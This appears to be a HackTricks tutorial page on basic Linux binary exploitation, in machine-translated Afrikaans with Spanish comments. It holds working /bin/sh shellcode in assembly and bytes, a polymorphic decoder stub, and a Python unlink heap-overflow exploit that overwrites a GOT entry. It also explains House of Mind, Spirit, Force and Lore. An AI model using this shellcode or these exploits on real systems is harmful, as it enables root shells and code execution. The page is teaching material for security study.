hacktricks/binary-exploitation/linux-exploiting-basic-esp.md

28 KiB
Raw Blame History

Linux Uitbuiting (Basies) (SPA)

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

2.SHELLCODE

Sien kernel-onderbrekings: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; skoonmaak eax
xor ebx, ebx ; ebx = 0 want daar is geen argument om oor te dra
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Voer syscall uit

nasm -f elf assembly.asm —> Gee ons 'n .o terug
ld assembly.o -o shellcodeout —> Gee ons 'n uitvoerbare lêer wat deur die samestellerkode gevorm is en ons kan die opkodes met objdump kry
objdump -d -Mintel ./shellcodeout —> Om te sien dat dit werklik ons shellcode is en om die OpCodes te kry

Bevestig dat die shellcode werk

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Om te sien of die stelseloproepe korrek uitgevoer word, moet die vorige program gekompileer word en die stelseloproepe moet verskyn in strace ./GEKOMPILIEERDE_PROGRAM

Met die skep van shellkodes kan 'n truuk uitgevoer word. Die eerste instruksie is 'n sprong na 'n oproep. Die oproep roep die oorspronklike kode aan en sit ook die EIP in die stapel. Na die oproepinstruksie het ons die string ingevoeg wat ons nodig het, sodat ons met daardie EIP na die string kan wys en ook kan aanhou om die kode uit te voer.

EJ TRUC (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ gebruik die Stok(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Eierjagter:

Dit behels 'n klein kode wat deur die geheuebladsye van 'n proses blaai op soek na die daar gestoorde shellcode (soek na 'n handtekening wat in die shellcode geplaas is). Nuttig in gevalle waar daar slegs 'n klein spasie is om kode in te spuit.

Polimorfiese shellkodes

Dit is versleutelde skulpe wat 'n klein kode bevat wat dit ontsluit en daarna daarna spring, deur die Call-Pop-truuk te gebruik, sou dit 'n versleutelde Caesar-voorbeeld wees:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5. Aanvullende Metodes

8 Heap Oorvloei: Basiese Uitbuitings

Toegewysde Stuk

prev_size |
size | —Kop
*mem | Data

Vry Stuk

prev_size |
size |
*fd | Ptr vorentoe stuk
*bk | Ptr agterste stuk —Kop
*mem | Data

Die vry stukke is in 'n dubbelgekoppelde lys (bin) en daar kan nooit twee vry stukke naby mekaar wees nie (hulle word saamgevoeg)

In "size" is daar bietjies om aan te dui: As die vorige stuk in gebruik is, as die stuk toegewys is deur middel van mmap() en as die stuk behoort tot die primêre arena.

As 'n stuk vrygestel word en enige van die aangrensende stukke is vry, word hulle saamgevoeg deur die makro unlink() en die nuwe, groter stuk word aan frontlink() oorgedra sodat dit in die regte bin ingevoeg kan word.

unlink(){
BK = P->bk; —> Die BK van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD = P->fd; —> Die FD van die nuwe stuk is die een wat die vorige vry stuk gehad het
FD->bk = BK; —> Die BK van die volgende stuk wys na die nuwe stuk
BK->fd = FD; —> Die FD van die vorige stuk wys na die nuwe stuk
}

Dus as ons die P->bk kan wysig met die adres van 'n shellcode en die P->fd met die adres na 'n inskrywing in die GOT of DTORS minus 12, word dit bereik:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

En dus word die shellcode uitgevoer wanneer die program afsluit.

Verder, die 4de instruksie van unlink() skryf iets en die shellcode moet hiervoor aangepas word:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Dit veroorsaak die skryf van 4 byte vanaf die 8ste byte van die shellcode, dus moet die eerste instruksie van die shellcode 'n sprong wees om hierdie te oorskryf en in 'n paar nops te val wat na die res van die shellcode lei.

Dus word die uitbuiting so geskep:

In die buffer1 plaas ons die shellcode wat begin met 'n sprong sodat dit in die nops of die res van die shellcode val.

Na die shellcode plaas ons vulsel tot by die prev_size en size veld van die volgende stuk. Hier plaas ons 0xfffffff0 (sodat die prev_size oorskryf word om die bit te hê wat aandui dat dit vry is) en "-4" (0xfffffffc) in die size (sodat wanneer dit in die 3de stuk ondersoek word of die 2de vry was, gaan dit eintlik na die gewysigde prev_size wat sal sê dat dit vry is) -> Dus wanneer free() ondersoek doen, gaan dit na die size van die 3de stuk, maar eintlik gaan dit na die 2de - 4 en dink dit dat die 2de stuk vry is. En dan roep dit unlink() aan.

Wanneer unlink() aangeroep word, gebruik dit die eerste data van die 2de stuk as P->fd, sodat die adres wat oorskryf moet word - 12 (want in FD->bk sal dit 12 by die adres wat in FD gestoor is, optel). En op daardie adres word die tweede adres in die 2de stuk ingevoer, wat die adres na die shellcode moet wees (valse P->bk).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 byte vulsel

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Dit is belangrik dat die bit wat aandui dat die vorige stuk vry is, 1 is

fake_size = pack("<I”, 0xfffffffc) #-4, sodat dit dink dat die "size" van die 3de stuk 4 byte agter is (dit wys na prev_size) want dit is waar dit kyk of die 2de stuk vry is

addr_sc = pack("<I", 0x0804a008 + 8) #In die payload gaan ons aan die begin 8 byte vulsel plaas

got_free = pack("<I", 0x08048300 - 12) #Adres van free() in die plt-12 (dit sal die adres wees wat oorskryf word sodat die shellcode die 2de keer wat free() geroep word, uitgevoer word)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Soos gesê, begin die payload met 8 byte vulsel net omdat

payload += prev_size + fake_size + got_free + addr_sc #Die 2de stuk word gewysig, got_free wys na waar ons die adres addr_sc + 12 gaan stoor

os.system("./8.3.o " + payload)

unset() wat in omgekeerde volgorde vrygestel word (wargame)

Daar word beheer oor 3 aaneenlopende stukke en hulle word in omgekeerde volgorde vrygestel as wat hulle toegewys is.

In daardie geval:

Die shellcode word in stuk c geplaas

Die stuk a word gebruik om die b te oorskryf sodat die size die PREV_INUSE-bit gedeaktiveer het sodat dit dink dat die stuk a vry is.

Daarbenewens word die size in die kop van b oorskryf om -4 te wees.

Dus, die program sal dink dat "a" vry is en in 'n bin is, en dit sal unlink() aanroep om dit te ontbinde. Tog, omdat die kop PREV_SIZE -4 is, sal dit dink dat die stuk van "a" eintlik by b+4 begin. Met ander woorde, dit sal unlink() na 'n stuk wat by b+4 begin, doen, sodat die punt "fd" by b+12 sal wees en die punt "bk" by b+16 sal wees.

Op hierdie manier, as ons die adres van die shellcode in bk plaas en die adres van die "puts()"-funksie -12 in fd plaas, het ons ons payload.

Frontlink Tegniek

Frontlink word aangeroep wanneer iets vrygestel word en geen van sy aangrensende stukke vry is nie, unlink() word nie aangeroep nie, maar frontlink() word direk aangeroep.

'n Nuttige kwesbareheid wanneer die malloc wat aangeval word nooit vrygestel word (free()) nie.

Benodig:

'n Buffer wat oorstroom kan word met die insetdatafunksie

'n Buffer wat aangrensend aan hierdie buffer is en wat vrygestel moet word en waarvan die fd-veld van sy kop gewysig sal word deur die oorloop van die vorige buffer

'n Buffer om vry te stel met 'n groter grootte as 512 maar kleiner as die vorige buffer

'n Buffer wat voor stap 3 verklaar is wat die prev_size van hierdie buffer kan oorskryf

Op hierdie manier, deur in twee mallocs onbeheerd en in een beheerd te oorskryf, kan ons 'n uitbuiting doen.

Dubbele free() Kwesbaarheid

As free() twee keer met dieselfde punt aangeroep word, is daar twee bins wat na dieselfde adres wys.

As jy een weer wil gebruik, sal dit sonder probleme toegewys word. As jy die ander wil gebruik, sal dieselfde spasie toegewys word, sodat die "fd" en "bk" punte vervals word met die data wat die vorige toewysing geskryf het.

Na free()

'n Voorheen vrygestelde punt word weer sonder beheer gebruik.

8 Heap Oorvloeiings: Gevorderde aanvalle

Die Unlink() en FrontLink() tegnieke is verwyder deur die unlink() funksie te wysig.

The house of mind

Slegs 'n oproep na free() is nodig om arbitêre kode uit te voer. Dit is belangrik om 'n tweede stuk te vind wat oorloop kan word deur 'n vorige stuk en vrygestel kan word.

'n Oproep na free() lei tot die aanroep van public_fREe(mem), wat doen:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Gee 'n verwysing na die beginadres van die stuk (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

In [1] word die grootteveld en die NON_MAIN_ARENA-bit nagegaan, wat verander kan word sodat die toets waar is en heap_for_ptr() uitgevoer word wat 'n "mem" and-operasie uitvoer en die minst belangrike 2.5 byte nul stel (in ons geval van 0x0804a000 na 0x08000000) en toegang kry tot 0x08000000->ar_ptr (asof dit 'n heap_info struktuur is)

Op hierdie manier, as ons 'n stuk kan beheer byvoorbeeld op 0x0804a000 en 'n stuk vrygestel word by 0x081002a0 kan ons na die adres 0x08100000 gaan en skryf wat ons wil, byvoorbeeld 0x0804a000. Wanneer hierdie tweede stuk vrygestel word, sal dit vind dat heap_for_ptr(ptr)->ar_ptr die waarde bevat wat ons geskryf het na 0x08100000 (aangesien die and-operasie toegepas word op 0x081002a0 soos ons vantevore gesien het en daarvandaan die waarde van die eerste 4 byte, die ar_ptr, gehaal word)

Op hierdie manier word _int_free(ar_ptr, mem) aangeroep, dit wil sê, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Soos ons vantevore gesien het, kan ons die waarde van av beheer, want dit is wat ons skryf na die stuk wat vrygestel word.

Soos unsorted_chunks gedefinieer word, weet ons:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Dus as ons die waarde van av->bins[2] skryf as die waarde van __DTOR_END__-12, sal dit uiteindelik in __DTOR_END__ die adres van die tweede stuk skryf.

Met ander woorde, in die eerste stuk moet ons aan die begin die adres van __DTOR_END__-12 plaas, want dit is waar av->bins[2] dit sal haal

Op die adres waar die adres van die tweede stuk val met die laaste 5 nulle, moet ons die adres van hierdie eerste stuk skryf sodat heap_for_ptr() dink dat die ar_ptr aan die begin van die eerste stuk is en av->bins[2] daaruit haal

In die tweede stuk en danksy die eerste stuk, oorskryf ons die prev_size met 'n sprong 0x0c en die grootte met iets om -> NON_MAIN_ARENA te aktiveer

Vervolgens plaas ons 'n klomp nops in stuk 2 en uiteindelik die shellcode

Op hierdie manier sal _int_free(STUK1, STUK2) aangeroep word en sal die instruksies volg om die adres van die prev_size van STUK2 in __DTOR_END__ te skryf wat dan na die shellcode sal spring.

Om hierdie tegniek toe te pas, moet daar aan 'n paar meer vereistes voldoen word wat die payload 'n bietjie meer ingewikkeld maak.

Hierdie tegniek is nie meer toepaslik nie omdat amper dieselfde pleister as vir unlink toegepas is. Daar word vergelyk of die nuwe plek waarna verwys word, ook na hom verwys.

Fastbin

Dit is 'n variasie van The house of mind

ons wil die volgende kode uitvoer wat bereik word na die eerste toetsing van die _int_free() funksie

fb = &(av->fastbins[fastbin_index(size)] —> Wees fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Op hierdie manier, as ons 'n adres in "fb" plaas wat na 'n funksie in die GOT wys, sal die adres van die oorskryfde stuk op hierdie adres geplaas word. Hiervoor moet die arena naby die dtor-adresse wees. Meer presies moet av->max_fast by die adres wees wat ons gaan oorskryf.

Omdat ons met The House of Mind gesien het dat ons die posisie van av beheer het.

Dus as ons 'n grootte van 8 + NON_MAIN_ARENA + PREV_INUSE in die grootteveld plaas —> fastbin_index() sal fastbins[-1] teruggee, wat na av->max_fast sal wys

In hierdie geval sal av->max_fast die adres wees wat oorskryf word (nie waarheen dit wys nie, maar daardie posisie sal oorskryf word).

Dit moet ook waar wees dat die aangrensende stuk aan die vrygestelde stuk groter moet wees as 8 -> Aangesien ons gesê het dat die grootte van die vrygestelde stuk 8 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet 'n sprong wat in nops val, aan die begin geplaas word).

Daarbenewens moet daardie selfde valse stuk kleiner wees as av->system_mem. av->system_mem is 1848 byte verder.

As gevolg van die nulle van _DTOR_END_ en die min aantal adresse in die GOT, is geen van hierdie adresse geskik om oorskryf te word nie, so laat ons kyk hoe om fastbin toe te pas om die stok aan te val.

'n Ander aanvalsmanier is om die av na die stok te rig.

As ons die grootte verander sodat dit 16 in plaas van 8 is, dan sal fastbin_index() fastbins[0] teruggee en ons kan dit gebruik om die stok te oorskryf.

Daar mag geen kanarie of vreemde waardes in die stok wees nie, eintlik moet ons hierdie vind: 4 nulbyte + EBP + RET

Die 4 nulbyte is nodig sodat die av na hierdie adres sal wees en die eerste element van 'n av is die mutex wat 0 moet wees.

Die av->max_fast sal die EBP wees en sal 'n waarde wees wat ons sal help om die beperkings te omseil.

In die av->fastbins[0] sal die adres van p oorskryf word en sal die RET wees, sodat dit na die shellcode sal spring.

Daarbenewens, in av->system_mem (1484 byte bo die posisie in die stok) sal daar genoeg rommel wees wat ons sal help om die toetsing te omseil.

Dit moet ook waar wees dat die aangrensende stuk aan die vrygestelde stuk groter moet wees as 8 -> Aangesien ons gesê het dat die grootte van die vrygestelde stuk 16 is, moet ons net 'n grootte groter as 8 in hierdie valse stuk plaas (aangesien die shellcode in die vrygestelde stuk sal wees, moet 'n sprong wat in nops val, aan die begin geplaas word).

The House of Spirit

In hierdie geval wil ons 'n verwysing na 'n malloc hê wat deur die aanvaller verander kan word (byvoorbeeld dat die verwysing op die stok onder 'n moontlike oorloop na 'n veranderlike is).

Sodoende kan ons hierdie verwysing laat wys waarheen ook al. Tog is nie enige plek geldig nie, die grootte van die valse stuk moet kleiner wees as av->max_fast en meer spesifiek gelyk aan die grootte wat aangevra word in 'n toekomstige oproep na malloc()+8. Daarom, as ons weet dat na hierdie kwesbare verwysing 'n oproep na malloc(40) gemaak word, moet die grootte van die valse stuk gelyk wees aan 48. Indien die program byvoorbeeld 'n gebruiker vra om 'n nommer, kan ons 48 invoer en die aanpasbare malloc-wyser na die volgende 4 byte wys (wat dalk aan die EBP behoort, sodat die 48 agterbly, asof dit die kopgrootte is). Verder moet die adres ptr-4+48 aan verskeie voorwaardes voldoen (in hierdie geval is ptr=EBP), dit wil sê, 8 < ptr-4+48 < av->system_mem.

Indien hierdie voorwaardes voldoen word, wanneer die volgende malloc geroep word wat ons gesê het dit is malloc(40), sal die adres wat toegewys word die adres van die EBP wees. As die aanvaller ook die inhoud van hierdie malloc kan beheer, kan hy beide die EBP en die EIP met die gewenste adres oorskryf.

Ek dink dit is omdat wanneer dit vrygelaat word, free() sal onthou dat daar 'n stuk van die regte grootte vir die nuwe malloc() wat gereserveer wil word, in die adres wat na die EBP van die stapel wys, is, en dit sal daardie adres toewys.

Die Huis van Krag

Dit is nodig:

  • 'n oorvloei na 'n stuk wat dit moontlik maak om die wilderness te oorskryf
  • 'n oproep na malloc() met die grootte wat deur die gebruiker gedefinieer is
  • 'n oproep na malloc() waarvan die data deur die gebruiker gedefinieer kan word

Die eerste ding wat gedoen word, is om die grootte van die wilderness-stuk met 'n baie groot waarde (0xffffffff) te oorskryf, sodat enige geheueversoek groot genoeg in _int_malloc() hanteer sal word sonder om die heap uit te brei.

Die tweede is om av->top te verander sodat dit na 'n geheuegebied onder die beheer van die aanvaller wys, soos die stapel. In av->top sal &EIP - 8 geplaas word.

Ons moet av->top oorskryf sodat dit na die geheuegebied onder die beheer van die aanvaller wys:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim kry die waarde van die adres van die huidige wilderness-stuk (die huidige av->top) en remainder is presies die som van daardie adres plus die aantal byte wat deur malloc() versoek is. Dus as &EIP-8 in 0xbffff224 is en av->top 0x080c2788 bevat, dan sal die hoeveelheid wat gereserveer moet word in die beheerde malloc sodat av->top na $EIP-8 vir die volgende malloc() wys, wees:

0xbffff224 - 0x080c2788 = 3086207644.

Dus sal die veranderde waarde in av->top gestoor word en die volgende malloc sal na die EIP wys en dit kan oorskryf.

Dit is belangrik dat die grootte van die nuwe wilderness-stuk groter is as die versoek wat deur die laaste malloc() gemaak is. Dit wil sê, as die wilderness na &EIP-8 wys, sal die grootte presies in die EBP-veld van die stapel wees.

Die Huis van Lore

Korrupsie SmallBin

Die vrygestelde stukke word in die bin ingevoer op grond van hul grootte. Maar voordat dit ingevoer word, word dit in unsorted bins bewaar. 'n Stuk word nie dadelik in sy bin geplaas nadat dit vrygestel is nie, maar bly in unsorted bins. Daarna, as 'n nuwe stuk gereserveer word en die vorige vrygestelde stuk kan dit dien, word dit teruggegee, maar as 'n groter stuk gereserveer word, word die vrygestelde stuk in unsorted bins in die toepaslike bin geplaas.

Om die kwesbare kode te bereik, moet die geheueversoek groter wees as av->max_fast (gewoonlik 72) en minder as MIN_LARGE_SIZE (512).

As daar 'n stuk in die bin is wat die regte grootte vir die versoek het, word dit teruggegee nadat dit ontkoppel is:

bck = victim->bk; Wys na die vorige stuk, dit is die enigste inligting wat ons kan verander.

bin->bk = bck; Die voorlaaste stuk word die laaste, as bck na die stapel wys, sal die volgende gereserveerde stuk na hierdie adres wys

bck->fd = bin; Die lys word gesluit deur dit na bin te laat wys

Dit is nodig:

Om twee mallocs te reserveer, sodat die eerste oorvloei kan hê nadat die tweede vrygestel en in sy bin geplaas is (dit wil sê, 'n groter malloc as die tweede stuk voor die oorvloei gereserveer word)

Die gereserveerde malloc waarvan die adres deur die aanvaller gekies word, moet deur die aanvaller beheer word.

Die doel is as volg, as ons 'n oorvloei na 'n heap kan maak wat 'n vrygestelde stuk onder hom en in sy bin het, kan ons sy bk-punt oorskryf. As ons sy bk-punt oorskryf en hierdie stuk die eerste in die bin-lys word en gereserveer word, sal bin mislei word en dink dat die laaste stuk in die lys (die volgende om aangebied te word) na die valse adres wys wat ons ingesit het (byvoorbeeld die stapel of GOT). Dus as nog 'n stuk gereserveer word en die aanvaller toestemming het daarin, sal dit 'n stuk op die gewenste posisie kry en daarin kan skryf.

Nadat die veranderde stuk vrygestel is, moet 'n groter stuk as die vrygestelde gereserveer word, sodat die veranderde stuk uit unsorted bins kom en in sy bin geplaas word.

Sodra dit in sy bin is, is dit tyd om die bk-punt deur die oorvloei te verander sodat dit na die gewenste adres wys.

Dus moet die bin wag totdat daar genoeg oproepe na malloc() is om die veranderde bin weer te gebruik en bin te mislei om te dink dat die volgende stuk na die valse adres is. En dan sal die stuk wat ons wil hê, gegee word.

Om die kwesbaarheid so vinnig moontlik uit te voer, sou die ideale wees: Reservering van die kwesbare stuk, reservering van die stuk wat verander sal word, die stuk word vrygestel, 'n groter stuk as die een wat verander sal word, word gereserveer, die stuk word verander (kwesbaarheid), 'n stuk van dieselfde grootte as die een wat verander is, word gereserveer en 'n tweede stuk van dieselfde grootte word gereserveer en dit sal na die gekose adres wys.

Om hierdie aanval te beskerm, word die tipiese kontrole gebruik dat die stuk "nie" vals is nie: daar word nagegaan of bck->fd na victim wys. Dit wil sê, in ons geval, as die fd-punt van die valse stuk wat na die stapel wys na victim wys. Om hierdie beskerming te omseil, moet die aanvaller op een of ander manier (waarskynlik deur die stapel) in die regte adres die adres van victim kan skryf. Sodat dit soos 'n ware stuk lyk.

Korrupsie LargeBin

Dieselfde vereistes as voorheen is nodig, en nog 'n paar, bovendien moet die gereserveerde stukke groter as 512 wees.

Die aanval is soos die vorige, dit wil sê, die bk-punt moet verander word en al daardie oproepe na malloc() is nodig, maar daar moet ook die grootte van die veranderde stuk verander word sodat daardie grootte - nb < MINSIZE is.

Byvoorbeeld, om die grootte 1552 te maak sodat 1552 - 1544 = 8 < MINSIZE (die aftrekking kan nie negatief wees nie omdat 'n ondertekende getal vergelyk word)

Daar is ook 'n pleister ingesit om dit nog moeiliker te maak.

Heap Spraying

Dit behels basies om soveel moontlik geheue vir heaps te reserveer en dit met 'n matras van nops gevul met 'n shellcode te vul. As matras word 0x0c gebruik. Dit sal probeer om na die adres 0x0c0c0c0c te spring, en as enige adres met hierdie matras oorskryf word waarheen geroep gaan word, sal dit daar spring. Die taktiek is basies om soveel as moontlik te reserveer om te sien of enige wysers oorskryf word en na 0x0c0c0c0c te spring in die hoop dat daar nops is.

Heap Feng Shui

Dit behels om deur reserverings en vrylating van geheue die geheue so te rangskik dat daar gereserveerde stukke tussen vrye stukke oorbly. Die buffer wat oorstroom moet word, sal in een van die stukke wees.

objdump -d uitvoerbare lêer —> Ontleed funksies
objdump -d ./PROGRAM | grep FUNSIE —> Kry funksie-adres
objdump -d -Mintel ./shellcodeout —> Om te sien of dit werklik ons shellcode is en die OpCodes te kry
objdump -t ./exec | grep varBss —> Tabel van simbole, om die adres van veranderlikes en funksies te kry
objdump -TR ./exec | grep exit(func lib) —> Om die adres van biblioteekfunksies te kry (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Kry die adres van puts om in die GOT te oorskryf
objdump -D ./exec —> Ontas ALLES tot by die plt-inskrywings
objdump -p -/exec
Info functions strncmp —> Inligting oor die funksie in gdb

Interessante kursusse

Verwysings

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: